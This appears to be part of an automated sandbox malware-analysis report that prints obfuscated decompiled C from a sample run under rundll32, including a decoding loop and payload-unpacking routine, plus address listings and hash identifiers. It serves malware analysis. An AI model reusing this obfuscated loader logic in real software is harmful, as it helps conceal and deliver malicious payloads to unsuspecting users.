				_t310 = _t457 + 0x41cb9d; // 0x41cb9d
				 *_t616 =  *_t616 - _t590;
				 *_t616 =  *_t616 | _t310;
				_t311 = _t457 + 0x41cd17; // 0x41cd17
				 *(_t604 - 0x20) =  *(_t604 - 0x20) & 0x00000000;
				 *_t616 =  *_t616 | _t311;
				_t393 =  *((intOrPtr*)(_t457 + 0x41f068))( *(_t604 - 0x20), _t590);
				 *_t616 = _t565 & 0x00000000 | _t540 & 0x00000000 ^ _t590;
				 *(_t457 + 0x41d015) = 0 ^ _t393;
				_t570 = 0;
				_t591 = _t590 - 1;
				 *(_t604 - 0x1c) = 0;
				_push( *(_t604 - 0x1c));
				 *_t616 =  *_t616 | _t457;
				do {
					 *_t319 = _t570;
					_t488 =  *(_t604 - 0x20);
					_t489 = _t488 &  *(_t604 - 8);
					if(_t489 == 0) {
						_t591 = _t591 + 1;
						_t393 = _t393 & 0x00000000 ^ (_t570 -  *_t616 |  *(_t604 - 0x18));
						_t570 = _t570;
						_t457 =  *(_t393 + _t591) & 0x000000ff;
					}
					 *_t325 =  *((intOrPtr*)(_t604 - 0xc));
					_t544 =  *(_t604 - 0x20);
					asm("rol edx, cl");
					asm("lodsb");
					_t393 = _t393 | _t544 & _t457;
					 *_t570 = _t393;
					_t570 = _t570 + 1;
					_t327 = _t604 - 4;
					 *_t327 =  *((intOrPtr*)(_t604 - 4)) - 1;
				} while ( *_t327 != 0);
				_t459 =  *_t616;
				_t617 =  &(_t616[1]);
				_t329 = _t459 + 0x41cc0b; // 0x41cc0b
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 ^ _t329;
				_t330 = _t459 + 0x41cbd0; // 0x41cbd0
				 *_t617 =  *_t617 & 0x00000000;
				 *_t617 =  *_t617 | _t330;
				_t397 =  *((intOrPtr*)(_t459 + 0x41f068))(_t604, _t489);
				 *(_t604 - 0x20) = _t489;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) & 0x00000000;
				 *(_t459 + 0x41d326) =  *(_t459 + 0x41d326) ^ (_t489 ^  *(_t604 - 0x20) | _t397);
				 *(_t604 - 0x1c) = _t459;
				return memcpy(_t570, _t591 + 1,  *(_t604 - 0x14));
			}
































































































                                                                          0x00123fab
                                                                          0x00123fab
                                                                          0x00123fb1
                                                                          0x00123fb5
                                                                          0x00123fb8
                                                                          0x00123fc1
                                                                          0x00123fc2
                                                                          0x00123fc5
                                                                          0x00123fc8
                                                                          0x00123fd4
                                                                          0x00123fd5
                                                                          0x00123fd9
                                                                          0x00123fe2
                                                                          0x00123fe5
                                                                          0x00123fe8
                                                                          0x00123fee
                                                                          0x00123ff6
                                                                          0x00123ffd
                                                                          0x00124003
                                                                          0x0012400b
                                                                          0x0012400e
                                                                          0x00124015
                                                                          0x00124018
                                                                          0x00124021
                                                                          0x00124024
                                                                          0x0012402d
                                                                          0x00124031
                                                                          0x00124034
                                                                          0x00124037
                                                                          0x0012403d
                                                                          0x00124044
                                                                          0x0012404d
                                                                          0x00124053
                                                                          0x00124056
                                                                          0x0012405f
                                                                          0x00124060
                                                                          0x00124063
                                                                          0x0012406c
                                                                          0x00124073
                                                                          0x00124076
                                                                          0x00124079
                                                                          0x0012407f
                                                                          0x00124086
                                                                          0x0012408c
                                                                          0x00124098
                                                                          0x001240a1
                                                                          0x001240a8
                                                                          0x001240ae
                                                                          0x001240b5
                                                                          0x001240b6
                                                                          0x001240ba
                                                                          0x001240bd
                                                                          0x001240c3
                                                                          0x001240ca
                                                                          0x001240cd
                                                                          0x001240d6
                                                                          0x001240dd
                                                                          0x001240e0
                                                                          0x001240e3
                                                                          0x001240f2
                                                                          0x001240f7
                                                                          0x001240fb
                                                                          0x001240fe
                                                                          0x00124100
                                                                          0x00124103
                                                                          0x0012410e
                                                                          0x00124110
                                                                          0x00124113
                                                                          0x0012411b
                                                                          0x0012411c
                                                                          0x0012411f
                                                                          0x00124128
                                                                          0x0012412f
                                                                          0x00124132
                                                                          0x00124135
                                                                          0x00124135
                                                                          0x00124141
                                                                          0x00124148
                                                                          0x0012414e
                                                                          0x00124153
                                                                          0x0012446d
                                                                          0x00124473
                                                                          0x0012447c
                                                                          0x0012447f
                                                                          0x00124486
                                                                          0x0012448a
                                                                          0x00124493
                                                                          0x00124494
                                                                          0x00124497
                                                                          0x0012449a
                                                                          0x001244a0
                                                                          0x001244a7
                                                                          0x001244ad
                                                                          0x001244b4
                                                                          0x001244b7
                                                                          0x001244bd
                                                                          0x001244c5
                                                                          0x001244cc
                                                                          0x001244d2
                                                                          0x001244d5
                                                                          0x001244dc
                                                                          0x001244e2
                                                                          0x001244e9
                                                                          0x001244ec
                                                                          0x001244f2
                                                                          0x001244fa
                                                                          0x00124501
                                                                          0x00124507
                                                                          0x0012450a
                                                                          0x00124511
                                                                          0x00124517
                                                                          0x0012451e
                                                                          0x00124521
                                                                          0x00124528
                                                                          0x0012452b
                                                                          0x0012452e
                                                                          0x00124534
                                                                          0x0012453c
                                                                          0x00124543
                                                                          0x00124549
                                                                          0x00124549
                                                                          0x00124159
                                                                          0x00124159
                                                                          0x0012415f
                                                                          0x00124169
                                                                          0x0012416c
                                                                          0x00124172
                                                                          0x0012417c
                                                                          0x0012417f
                                                                          0x0012418b
                                                                          0x00124192
                                                                          0x00124198
                                                                          0x00124199
                                                                          0x0012419f
                                                                          0x001241a6
                                                                          0x001241a9
                                                                          0x001241af
                                                                          0x001241b6
                                                                          0x001241b9
                                                                          0x001241c2
                                                                          0x001241c5
                                                                          0x001241ce
                                                                          0x001241d1
                                                                          0x001241dd
                                                                          0x001241e0
                                                                          0x001241e5
                                                                          0x001241e9
                                                                          0x001241ec
                                                                          0x001241ee
                                                                          0x001241fc
                                                                          0x001241fe
                                                                          0x00124201
                                                                          0x00124203
                                                                          0x0012420a
                                                                          0x0012420e
                                                                          0x00124211
                                                                          0x00124217
                                                                          0x0012421e
                                                                          0x00124221
                                                                          0x0012422d
                                                                          0x00124234
                                                                          0x0012423a
                                                                          0x0012423a
                                                                          0x00124240
                                                                          0x00124244
                                                                          0x00124248
                                                                          0x0012424b
                                                                          0x00124252
                                                                          0x00124255
                                                                          0x00124258
                                                                          0x00124261
                                                                          0x00124264
                                                                          0x0012426a
                                                                          0x00124272
                                                                          0x00124279
                                                                          0x0012427f
                                                                          0x00124282
                                                                          0x00124289
                                                                          0x0012428c
                                                                          0x0012428f
                                                                          0x00124296
                                                                          0x00124299
                                                                          0x0012429c
                                                                          0x001242a3
                                                                          0x001242a7
                                                                          0x001242aa
                                                                          0x001242b1
                                                                          0x001242b4
                                                                          0x001242b7
                                                                          0x001242c6
                                                                          0x001242c9
                                                                          0x001242d0
                                                                          0x001242d6
                                                                          0x001242d9
                                                                          0x001242e0
                                                                          0x001242e6
                                                                          0x001242f0
                                                                          0x001242f3
                                                                          0x001242fa
                                                                          0x001242fd
                                                                          0x00124300
                                                                          0x00124306
                                                                          0x0012430d
                                                                          0x00124310
                                                                          0x0012431c
                                                                          0x0012431f
                                                                          0x00124322
                                                                          0x00124329
                                                                          0x0012432a
                                                                          0x0012432d
                                                                          0x0012432e
                                                                          0x0012433d
                                                                          0x0012433f
                                                                          0x00124344
                                                                          0x00124346
                                                                          0x0012434c
                                                                          0x00124353
                                                                          0x00124356
                                                                          0x0012435c
                                                                          0x00124366
                                                                          0x00124369
                                                                          0x00124369
                                                                          0x00124371
                                                                          0x00124378
                                                                          0x0012437e
                                                                          0x0012437f
                                                                          0x00124386
                                                                          0x0012438d
                                                                          0x00124390
                                                                          0x00124393
                                                                          0x00124399
                                                                          0x001243a0
                                                                          0x001243a6
                                                                          0x001243a9
                                                                          0x001243b0
                                                                          0x001243b7
                                                                          0x001243ba
                                                                          0x001243bd
                                                                          0x001243c5
                                                                          0x001243cc
                                                                          0x001243d2
                                                                          0x001243d2
                                                                          0x00124551
                                                                          0x00124555
                                                                          0x00124558
                                                                          0x0012455b
                                                                          0x00124562
                                                                          0x00124565
                                                                          0x00124568
                                                                          0x00124571
                                                                          0x00124574
                                                                          0x0012457a
                                                                          0x00124584
                                                                          0x00124587
                                                                          0x00124593
                                                                          0x00124596
                                                                          0x00124599
                                                                          0x001245a0
                                                                          0x001245a1
                                                                          0x001245a4
                                                                          0x001245b2
                                                                          0x001245b4
                                                                          0x001245b7
                                                                          0x001245b9
                                                                          0x001245bf
                                                                          0x001245c9
                                                                          0x001245cc
                                                                          0x001245d2
                                                                          0x001245dc
                                                                          0x001245df
                                                                          0x001245e5
                                                                          0x001245ec
                                                                          0x001245f2
                                                                          0x001245f2
                                                                          0x001245fe
                                                                          0x00124603
                                                                          0x0012460d
                                                                          0x00124611
                                                                          0x00124614
                                                                          0x0012461a
                                                                          0x00124621
                                                                          0x00124624
                                                                          0x0012462b
                                                                          0x0012462e
                                                                          0x00124631
                                                                          0x0012463d
                                                                          0x00124644
                                                                          0x0012464a
                                                                          0x00124654
                                                                          0x00124657
                                                                          0x0012465b
                                                                          0x0012465f
                                                                          0x00124662
                                                                          0x00124668
                                                                          0x00124672
                                                                          0x00124675
                                                                          0x00124681
                                                                          0x00124688
                                                                          0x0012468e
                                                                          0x00124695
                                                                          0x00124698
                                                                          0x001246a1
                                                                          0x001246a5
                                                                          0x001246af
                                                                          0x001246b2
                                                                          0x001246b9
                                                                          0x001246bc
                                                                          0x001246bf
                                                                          0x001246c5
                                                                          0x001246cf
                                                                          0x001246d2
                                                                          0x001246d8
                                                                          0x001246e0
                                                                          0x001246e7
                                                                          0x001246f2
                                                                          0x001246f5
                                                                          0x001246f8
                                                                          0x00124700
                                                                          0x00124704
                                                                          0x0012470a
                                                                          0x00124710
                                                                          0x0012471a
                                                                          0x0012471d
                                                                          0x00124729
                                                                          0x00124730
                                                                          0x00124736
                                                                          0x00124741
                                                                          0x00124743
                                                                          0x00124744
                                                                          0x0012474a
                                                                          0x00124754
                                                                          0x00124757
                                                                          0x0012475d
                                                                          0x00124767
                                                                          0x0012476a
                                                                          0x00124773
                                                                          0x00124776
                                                                          0x00124781
                                                                          0x00124788
                                                                          0x0012478b
                                                                          0x0012478e
                                                                          0x00124791
                                                                          0x00124792
                                                                          0x00124793
                                                                          0x001247a0
                                                                          0x001247a5
                                                                          0x001247a7
                                                                          0x001247ad
                                                                          0x001247b4
                                                                          0x001247b7
                                                                          0x001247bd
                                                                          0x001247c4
                                                                          0x001247c7
                                                                          0x001247c7
                                                                          0x001247cd
                                                                          0x001247d4
                                                                          0x001247da
                                                                          0x001247dd
                                                                          0x001247ed
                                                                          0x001247f4
                                                                          0x001247f7
                                                                          0x001247fa
                                                                          0x00124800
                                                                          0x00124807
                                                                          0x0012480a
                                                                          0x00124812
                                                                          0x00124819
                                                                          0x0012481f
                                                                          0x00124820
                                                                          0x00124821
                                                                          0x00124828
                                                                          0x0012482b
                                                                          0x0012482e
                                                                          0x0012482f
                                                                          0x00124835
                                                                          0x00124836
                                                                          0x00124839
                                                                          0x0012483b
                                                                          0x00124846
                                                                          0x00124848
                                                                          0x00124849
                                                                          0x00124849
                                                                          0x00124850
                                                                          0x00124856
                                                                          0x00124857
                                                                          0x0012485b
                                                                          0x0012485c
                                                                          0x0012485e
                                                                          0x00124860
                                                                          0x00124861
                                                                          0x00124861
                                                                          0x00124861
                                                                          0x00124868
                                                                          0x0012486b
                                                                          0x0012486e
                                                                          0x00124875
                                                                          0x00124879
                                                                          0x0012487c
                                                                          0x00124883
                                                                          0x00124887
                                                                          0x0012488a
                                                                          0x00124890
                                                                          0x00124898
                                                                          0x0012489f
                                                                          0x001248a8
                                                                          0x001248c1

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
                                                                          • Instruction ID: de8f03ec79cca599c93b96faf1c630a8217e570d74e66ef1bb910206132e60d0
                                                                          • Opcode Fuzzy Hash: e380f32c42c4f0e1bdcf2094019efc4a4f59e296a005b21612e1bc21532986cf
                                                                          • Instruction Fuzzy Hash: D44225728442088FEF04DFA4C88A7EEBBF1FF48310F19856ED889AA155D7385525CF69
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00121CD0, Relevance: .6, Instructions: 565COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 86%
                                                                          			E00121CD0(void* __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _t326;
				signed int _t329;
				void* _t331;
				void* _t332;
				signed int _t336;
				signed int _t339;
				signed int _t344;
				signed int _t345;
				signed int _t348;
				intOrPtr _t353;
				signed int _t356;
				signed int _t359;
				void* _t361;
				void* _t362;
				signed int _t367;
				signed int _t368;
				signed int _t370;
				void* _t372;
				void* _t373;
				void* _t377;
				intOrPtr _t378;
				intOrPtr _t380;
				signed int _t382;
				signed int _t385;
				signed int _t387;
				void* _t389;
				signed int _t390;
				signed int _t392;
				signed int _t395;
				void* _t397;
				void* _t399;
				signed int _t400;
				signed int _t415;
				signed int _t418;
				signed int _t421;
				void* _t422;
				signed int _t424;
				signed int _t427;
				signed int _t431;
				signed int _t432;
				signed int _t434;
				signed int _t437;
				signed int _t439;
				signed int _t441;
				signed int _t444;
				signed int _t446;
				signed int _t453;
				signed int _t455;
				signed int _t456;
				signed int _t457;
				signed int _t461;
				signed int _t467;
				signed int _t470;
				signed int _t476;
				signed int _t479;
				signed int _t482;
				signed int _t485;
				void* _t489;
				signed int _t491;
				signed int _t494;
				signed int _t497;
				signed int _t499;
				signed int _t502;
				signed int _t504;
				signed int _t507;
				signed int _t510;
				signed int _t513;
				void* _t516;
				signed int _t518;
				signed int _t529;
				signed int _t532;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				signed int _t543;
				signed int _t546;
				signed int _t549;
				signed int _t552;
				void* _t561;
				void* _t565;
				signed int _t566;
				void* _t569;
				signed int _t572;
				signed int _t576;
				signed int* _t577;
				signed int* _t578;
				signed int* _t579;
				signed int* _t580;
				signed int* _t581;
				signed int* _t582;
				signed int* _t583;

				_t467 = __edx;
				_t422 = __ebx;
				_push(__esi);
				 *_t576 =  *_t576 & 0x00000000;
				 *_t576 =  *_t576 + _t565;
				_t566 = _t576;
				_t577 = _t576 + 0xfffffff0;
				_v20 = 0;
				_push(_v20);
				 *_t577 =  *_t577 + __ebx + 0x41d081;
				_t326 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__esi);
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) & 0x00000000;
				 *(__ebx + 0x41d148) =  *(__ebx + 0x41d148) | __esi -  *_t577 ^ _t326;
				_pop(_t529);
				_push(__ebx);
				 *_t577 =  *_t577 & 0x00000000;
				 *_t577 =  *_t577 + __ebx + 0x41c850;
				_push(_v16);
				 *_t577 = __ebx + 0x41cbc9;
				_t329 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_push(__ebx);
				 *_t577 =  *_t577 - __ebx;
				 *_t577 = _t329;
				_push(__edi);
				 *_t577 =  *_t577 ^ __edi;
				 *_t577 =  *_t577 + __ebx + 0x41cab2;
				_t331 =  *((intOrPtr*)(__ebx + 0x41f060))();
				_pop( *_t15);
				_push(__edi);
				 *_t17 = _t331;
				_v12 = _v12 + (__ecx & 0x00000000 | _v20);
				_push(_v12);
				_pop(_t332);
				_pop(_t497);
				_push( *((intOrPtr*)(__ebx + 0x41ca2b)));
				_pop( *_t22);
				_push(_v16);
				_pop(_t431);
				if(_t431 > _t332) {
					_v20 = 0;
					_push(_v20);
					 *_t577 =  *_t577 + __ebx + 0x41cbc9;
					_push(_v20);
					 *_t577 = __ebx + 0x41cab2;
					_t421 =  *((intOrPtr*)(__ebx + 0x41f064))();
					_v20 = _t431;
					 *(__ebx + 0x41ce2d) = 0 ^ _t421;
					_t431 = _v20;
				}
				_t578 = _t577 - 0xfffffffc;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 |  *_t577;
				_v20 = 0;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c95a;
				_t336 =  *((intOrPtr*)(_t422 + 0x41f060))(_v20, _t566);
				_v20 = _t467;
				 *(_t422 + 0x41cd3d) = 0 ^ _t336;
				_t470 = _v20;
				 *_t578 =  *_t578 & 0x00000000;
				 *_t578 =  *_t578 ^ _t422 + 0x0041c799;
				 *_t578 =  *_t578 ^ _t431;
				 *_t578 =  *_t578 ^ _t422 + 0x0041d050;
				_t339 =  *((intOrPtr*)(_t422 + 0x41f060))(_t431, _t529);
				_v20 = _t529;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) & 0x00000000;
				 *(_t422 + 0x41d0f6) =  *(_t422 + 0x41d0f6) ^ _t529 & 0x00000000 ^ _t339;
				_t532 = _v20;
				_t579 =  &(_t578[1]);
				_v20 = 0;
				 *_t579 =  *_t579 + (_t339 & 0x00000000) +  *_t578;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c952;
				_v16 = 0;
				 *_t579 =  *_t579 ^ _t422 + 0x0041cbdd;
				_t344 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v16, _v20);
				_v20 = _t532;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) & 0x00000000;
				 *(_t422 + 0x41c459) =  *(_t422 + 0x41c459) | _t532 - _v20 | _t344;
				_t535 = _v20;
				_t345 =  *((intOrPtr*)(_t422 + 0x41f068))();
				 *_t579 = _t345;
				_v12 = _v12 & 0x00000000;
				 *_t579 =  *_t579 ^ _t422 + 0x0041c361;
				_v16 = _v16 & 0x00000000;
				 *_t579 =  *_t579 + _t422 + 0x41c569;
				_t348 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12, _v20);
				_v20 = _t470;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) & 0x00000000;
				 *(_t422 + 0x41ca96) =  *(_t422 + 0x41ca96) | _t470 & 0x00000000 ^ _t348;
				_t580 =  &(_t579[1]);
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) & 0x00000000;
				 *(_t422 + 0x41d322) =  *(_t422 + 0x41d322) | _t566 ^  *_t580 |  *_t579;
				_t569 = _t566;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 + _t422 + 0x41c29c;
				_v16 = 0;
				 *_t580 =  *_t580 + _t422 + 0x41c80d;
				_t353 =  *((intOrPtr*)(_t422 + 0x41f068))(_v16, _v12);
				_v12 = _v20;
				 *((intOrPtr*)(_t422 + 0x41c28c)) = _t353;
				_t476 = _v12;
				 *_t580 = _t497;
				 *_t580 = _t422 + 0x41ce81;
				 *_t580 = _t422 + 0x41cad0;
				_t356 =  *((intOrPtr*)(_t422 + 0x41f068))(_v20, _v20, _v20);
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) & 0x00000000;
				 *(_t422 + 0x41c00b) =  *(_t422 + 0x41c00b) | _t476 ^  *_t580 | _t356;
				_t479 = _t476;
				 *_t580 =  *_t580 - _t497;
				 *_t580 = _t422 + 0x41c333;
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041c5ab;
				_t359 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12, _t497);
				 *_t580 = _t359;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
				_t361 =  *((intOrPtr*)(_t422 + 0x41f060))(_v12);
				 *_t117 = _t535;
				_t432 = _v16;
				 *_t119 = _t361;
				_v16 = _v16 + _t432;
				_push(_v16);
				_pop(_t362);
				_t499 = _t497;
				_v12 = _t499;
				_t434 = _t432 & 0x00000000 | _t499 ^ _v12 ^  *(_t422 + 0x41ce17);
				_t502 = _v12;
				if(_t434 > _t362) {
					 *_t580 = _t422 + 0x41c5ab;
					_v20 = 0;
					 *_t580 =  *_t580 | _t422 + 0x0041cfa2;
					_t418 =  *((intOrPtr*)(_t422 + 0x41f064))(_v20, _v16);
					_v20 = _t502;
					 *(_t422 + 0x41cc6a) = 0 ^ _t418;
					_t502 = _v20;
				}
				_pop( *_t136);
				 *_t580 = 0 ^ _v16;
				 *_t580 =  *_t580 - _t535;
				 *_t580 =  *_t580 + _t422 + 0x41d2cb;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 | _t422 + 0x0041d0da;
				_t367 =  *((intOrPtr*)(_t422 + 0x41f068))(_t422, _t535, _v16);
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) & 0x00000000;
				 *(_t422 + 0x41c44e) =  *(_t422 + 0x41c44e) | _t434 & 0x00000000 | _t367;
				_t437 = _t434;
				_t368 =  *((intOrPtr*)(_t422 + 0x41f060))();
				 *_t580 = _t368;
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t422 + 0x0041d2e3;
				_t370 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16, _v12);
				_v16 = 0;
				 *_t580 =  *_t580 ^ _t370;
				 *_t580 =  *_t580 & 0x00000000;
				 *_t580 =  *_t580 ^ _t422 + 0x0041cf21;
				_t372 =  *((intOrPtr*)(_t422 + 0x41f060))(_v16);
				 *_t156 = _t569;
				_t439 = (_t437 & 0x00000000) + _v20;
				 *_t158 = _t372;
				_v12 = _v12 + _t439;
				_push(_v12);
				_pop(_t373);
				_t424 = _t422;
				_v20 = _t479;
				_t441 = _t439 & 0x00000000 | _t479 & 0x00000000 |  *(_t424 + 0x41d124);
				_t482 = _v20;
				if(_t441 > _t373) {
					_t165 = _t424 + 0x41d2e3; // 0x41d2e3
					 *_t580 =  *_t580 & 0x00000000;
					 *_t580 =  *_t580 | _t165;
					_t166 = _t424 + 0x41cf21; // 0x41cf21
					 *_t580 = _t166;
					_t415 =  *((intOrPtr*)(_t424 + 0x41f064))(_v20, _t482);
					_v12 = _t441;
					 *(_t424 + 0x41c275) = 0 ^ _t415;
					_t441 = _v12;
				}
				_pop( *_t172);
				_v12 = _v12 & 0x00000000;
				 *_t580 =  *_t580 ^ _v16;
				_t177 = _t424 + 0x41c5c8; // 0x41c5c8
				_v16 = _v16 & 0x00000000;
				 *_t580 =  *_t580 | _t177;
				_t377 =  *((intOrPtr*)(_t424 + 0x41f060))(_v16, _v12);
				_t581 =  &(_t580[1]);
				 *_t182 = _t377;
				_v20 = _v20 + (_t441 & 0x00000000 ^  *_t580);
				_push(_v20);
				_pop(_t378);
				_t537 = _t535;
				 *_t581 = _t537;
				_t444 = 0 ^  *(_t424 + 0x41c106);
				_t540 = 0;
				if(_t444 > _t378) {
					_t187 = _t424 + 0x41c333; // 0x41c333
					_v12 = 0;
					 *_t581 =  *_t581 | _t187;
					_t190 = _t424 + 0x41c5c8; // 0x41c5c8
					 *_t581 =  *_t581 ^ _t444;
					 *_t581 = _t190;
					_t378 =  *((intOrPtr*)(_t424 + 0x41f064))(_t444, _v12);
				}
				_v16 = _t540;
				 *((intOrPtr*)(_t424 + 0x41c594)) = _t378;
				_t543 = _v16;
				_t446 = _t444 & 0x00000000 ^ (_t424 ^  *_t581 | _a4);
				_t427 = _t424;
				_v12 = 0;
				 *_t581 =  *_t581 + _t446;
				_t198 = _t427 + 0x41ccb8; // 0x41ccb8
				_v12 = 0;
				 *_t581 =  *_t581 | _t198;
				_t380 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _v12);
				_v20 = _t446;
				 *((intOrPtr*)(_t427 + 0x41cb42)) = _t380;
				_pop( *_t205);
				_t504 = _t502 & 0x00000000 | _t482 -  *_t581 | _v16;
				_t485 = _t482;
				_t207 = _t427 + 0x41d2a5; // 0x41d2a5
				 *_t581 =  *_t581 ^ _t504;
				 *_t581 =  *_t581 ^ _t207;
				_t382 =  *((intOrPtr*)(_t427 + 0x41f060))(_t504);
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) & 0x00000000;
				 *(_t427 + 0x41cba6) =  *(_t427 + 0x41cba6) | _t504 & 0x00000000 ^ _t382;
				_t507 = _t504;
				_t572 = _t569;
				_t213 = _t427 + 0x41c4f4; // 0x41c4f4
				_v16 = _v16 & 0x00000000;
				 *_t581 =  *_t581 | _t213;
				_t217 = _t427 + 0x41c4e9; // 0x41c4e9
				 *_t581 =  *_t581 ^ _t485;
				 *_t581 = _t217;
				_t385 =  *((intOrPtr*)(_t427 + 0x41f068))(_t485, _v16);
				_v12 = _t543;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) & 0x00000000;
				 *(_t427 + 0x41cc3a) =  *(_t427 + 0x41cc3a) ^ (_t543 ^ _v12 | _t385);
				_t546 = _v12;
				_v16 = _t485;
				_v8 = _t507;
				_t229 = _t427 + 0x41c0f6; // 0x41c0f6
				 *_t581 = _t229;
				_t387 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20);
				 *_t581 = _t387;
				_t233 = _t427 + 0x41c3d8; // 0x41c3d8
				_v20 = _v20 & 0x00000000;
				 *_t581 =  *_t581 ^ _t233;
				_t389 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _v12);
				_t453 =  *_t581;
				_t582 =  &(_t581[1]);
				 *_t582 =  *_t582 + _v16;
				_t489 = _t389;
				_t390 = _t489 + _t453;
				_t491 = 0;
				_t455 = _t453 & 0x00000000 ^ _t507 -  *_t582 ^  *(_t427 + 0x41ce7d);
				_t510 = _t507;
				if(_t455 > _t390) {
					_t239 = _t427 + 0x41c0f6; // 0x41c0f6
					_v12 = 0;
					 *_t582 =  *_t582 ^ _t239;
					_t242 = _t427 + 0x41c3d8; // 0x41c3d8
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t242;
					_t390 =  *((intOrPtr*)(_t427 + 0x41f064))(_t491, _v12);
				}
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) & 0x00000000;
				 *(_t427 + 0x41cf5f) =  *(_t427 + 0x41cf5f) | _t546 ^  *_t582 | _t390;
				_t549 = _t546;
				_t248 = _t427 + 0x41c2c4; // 0x41c2c4
				_v12 = 0;
				 *_t582 =  *_t582 | _t248;
				_t392 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, 0);
				_v12 = _t510;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) & 0x00000000;
				 *(_t427 + 0x41c193) =  *(_t427 + 0x41c193) | _t510 - _v12 ^ _t392;
				_t513 = _v12;
				 *((intOrPtr*)(_t427 + 0x41f080))();
				 *_t582 =  *_t582 & 0x00000000;
				 *_t582 =  *_t582 ^ _t455;
				_t260 = _t427 + 0x41d1a0; // 0x41d1a0
				_v12 = _v12 & 0x00000000;
				 *_t582 =  *_t582 ^ _t260;
				_t395 =  *((intOrPtr*)(_t427 + 0x41f060))(_v12, _t572);
				_v12 = _t491;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) & 0x00000000;
				 *(_t427 + 0x41c59c) =  *(_t427 + 0x41c59c) | _t491 - _v12 | _t395;
				_t494 = _v12;
				_pop( *_t272);
				_t456 = _v20;
				do {
					_v8 = _v8 - 1;
					 *_t582 =  *_t582 & 0x00000000;
					 *_t582 =  *_t582 + _t456;
					_t276 = _t427 + 0x41ccae; // 0x41ccae
					_v20 = 0;
					 *_t582 =  *_t582 + _t276;
					_t397 =  *((intOrPtr*)(_t427 + 0x41f060))(_v20, _t572);
					_v16 = _v16 & 0x00000000;
					 *_t582 =  *_t582 + _t397;
					_t283 = _t427 + 0x41c045; // 0x41c045
					 *_t582 = _t283;
					_t399 =  *((intOrPtr*)(_t427 + 0x41f060))(_v16, _v16);
					_pop( *_t286);
					_t457 = _v20;
					_v12 = _t549;
					_push(_t457 + _t399);
					_t552 = _v12;
					_pop(_t400);
					_t572 = _t572;
					if((_t457 & 0x00000000 | _t572 & 0x00000000 ^  *(_t427 + 0x41c40d)) > _t400) {
						_t291 = _t427 + 0x41ccae; // 0x41ccae
						_v12 = _v12 & 0x00000000;
						 *_t582 =  *_t582 | _t291;
						_t295 = _t427 + 0x41c045; // 0x41c045
						_v12 = 0;
						 *_t582 =  *_t582 ^ _t295;
						_t400 =  *((intOrPtr*)(_t427 + 0x41f064))(_v12, _v12);
						_v16 = _t552;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) & 0x00000000;
						 *(_t427 + 0x41d2c3) =  *(_t427 + 0x41d2c3) | _t552 & 0x00000000 ^ _t400;
						_t552 = _v16;
					}
					_t461 =  *_t582;
					_t583 =  &(_t582[1]);
					_v20 = _t552;
					_v12 = _v20;
					_t516 = _a4 + (_t513 & 0x00000000 ^ (_t552 & 0x00000000 | _t461));
					_v20 = _v20 & 0x00000000;
					_push(_v20);
					 *_t583 =  *_t583 | _t461;
					_v16 = _t400;
					_push(_a8 + _t516 + 1);
					_pop(_t518);
					_push(_v12);
					_pop(_t561);
					 *((intOrPtr*)(_t427 + 0x41f0c0))();
					_t549 =  *_t583;
					 *_t583 = _v8;
					 *_t583 =  *_t583 & 0x00000000;
					 *_t583 =  *_t583 + (_t518 | _a4) + 1;
					_t513 =  *_t583;
					 *_t583 = _a8;
					E001231B3(_t427, _t494, _t513, _t549, (_t518 | _a4) + 1, _t572, _t561);
					_t456 =  *_t583;
					_t582 = _t583 - 0xfffffffc;
				} while (_v8 != 0);
				_pop( *_t323);
				return 0;
			}


































































































                                                                          0x00121cd0
                                                                          0x00121cd0
                                                                          0x00121cd0
                                                                          0x00121cd1
